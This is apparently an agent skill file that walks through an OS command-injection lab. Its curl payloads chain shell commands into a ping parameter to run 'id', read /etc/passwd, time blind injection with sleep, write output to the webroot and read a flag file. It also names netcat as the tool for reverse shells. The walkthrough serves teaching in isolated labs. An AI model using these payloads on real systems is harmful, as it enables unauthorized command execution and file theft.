| name | exploiting-command-injection-vulnerabilities |
| description | Identify and exploit OS command injection vulnerabilities in web applications where user-supplied input is passed unsanitized to a shell command. Covers in-band, blind, and out-of-band command injection techniques against deliberately vulnerable targets in isolated lab environments. |
| domain | cybersecurity |
| subdomain | web-application-testing |
| tags | ["command-injection","os-injection","owasp-a03","web-security","rce","intermediate"] |
| difficulty | intermediate |
| version | 1.0.0 |
| author | RashpreetS01 |
| license | Apache-2.0 |
| mitre_techniques | ["T1059","T1190"] |
Educational Use Only — All techniques described here must only be used in authorized, isolated lab environments. Never use against systems you do not own or have explicit written permission to test.
When to Use
Use this skill during web application penetration tests when an endpoint appears to invoke a system command with user-controlled input (e.g., ping utilities, file converters, DNS lookup tools). It applies in CTF challenges where remote code execution is required to read flag files from the server's filesystem. It is a prerequisite before studying server-side template injection and other RCE primitives.
Prerequisites
- Docker and Docker Compose installed on the host machine
- Basic Linux command-line knowledge (
ls, cat, id, whoami)
- Understanding of how web applications pass parameters to backend processes
- Lab:
labs/web-application/command-injection — start with agentlab start command-injection
Workflow
Step 1: Start the Lab Environment
Launch the vulnerable PHP web application that exposes a network diagnostic tool passing user input to a shell ping command.
agentlab start command-injection
Step 2: Identify the Injection Point
Interact with the application normally to understand expected input, then probe for shell metacharacters.
curl "http://target:80/ping?host=127.0.0.1"
curl "http://target:80/ping?host=127.0.0.1;id"
curl "http://target:80/ping?host=127.0.0.1|id"
curl "http://target:80/ping?host=127.0.0.1%26%26id"
Step 3: Confirm In-Band Command Injection
If output from the injected command appears in the HTTP response, the injection is in-band.
curl "http://target:80/ping?host=127.0.0.1;whoami"
curl "http://target:80/ping?host=127.0.0.1;cat%20/etc/passwd"
curl "http://target:80/ping?host=127.0.0.1;ls%20/var/www/html"
Step 4: Test for Blind Command Injection
When the application returns no command output, use time delays or out-of-band channels to confirm injection.
time curl "http://target:80/ping?host=127.0.0.1;sleep%205"
curl "http://target:80/ping?host=127.0.0.1;id%20>%20/var/www/html/out.txt"
curl "http://target:80/out.txt"
Step 5: Capture the Flag
Read the flag file from the server filesystem using the confirmed injection vector.
curl "http://target:80/ping?host=127.0.0.1;find%20/%20-name%20flag.txt%202>/dev/null"
curl "http://target:80/ping?host=127.0.0.1;cat%20/flag.txt"
Step 6: Verify Results
Submit the captured flag to complete the lab challenge.
agentlab verify command-injection "FLAG{...}"
Key Concepts
- Command Injection: A vulnerability class where user input is incorporated into a shell command without proper sanitization, allowing arbitrary OS command execution.
- Shell Metacharacters: Characters such as
;, |, &&, `, $() that the shell interprets as command separators or substitution operators.
- In-Band Injection: The injected command's output is returned directly in the HTTP response body, making exploitation straightforward.
- Blind Command Injection: The application gives no direct output; the attacker infers success via time delays or out-of-band data exfiltration channels.
- Input Sanitization: The correct defense — pass user input only as arguments to execve/subprocess with a fixed command array, never interpolating into a shell string.
Tools
| Tool | Purpose | Install |
|---|
curl | Craft and send HTTP requests with injected payloads | apt install curl |
Burp Suite | Intercept and fuzz HTTP parameters interactively | Manual install |
commix | Automated command injection detection and exploitation | apt install commix |
nc (netcat) | Establish reverse shells from the victim server | apt install netcat-openbsd |
Output
On success, you should observe:
- The
id or whoami command output appearing inside the HTTP response body
- Filesystem listing (
ls, find) confirming access to server directories
- Contents of
/flag.txt or equivalent flag file returned in the response
- Flag captured in the format
FLAG{...}
All labs referenced in this skill run in isolated Docker environments with internal: true networks. No internet access. Educational use in authorized environments only.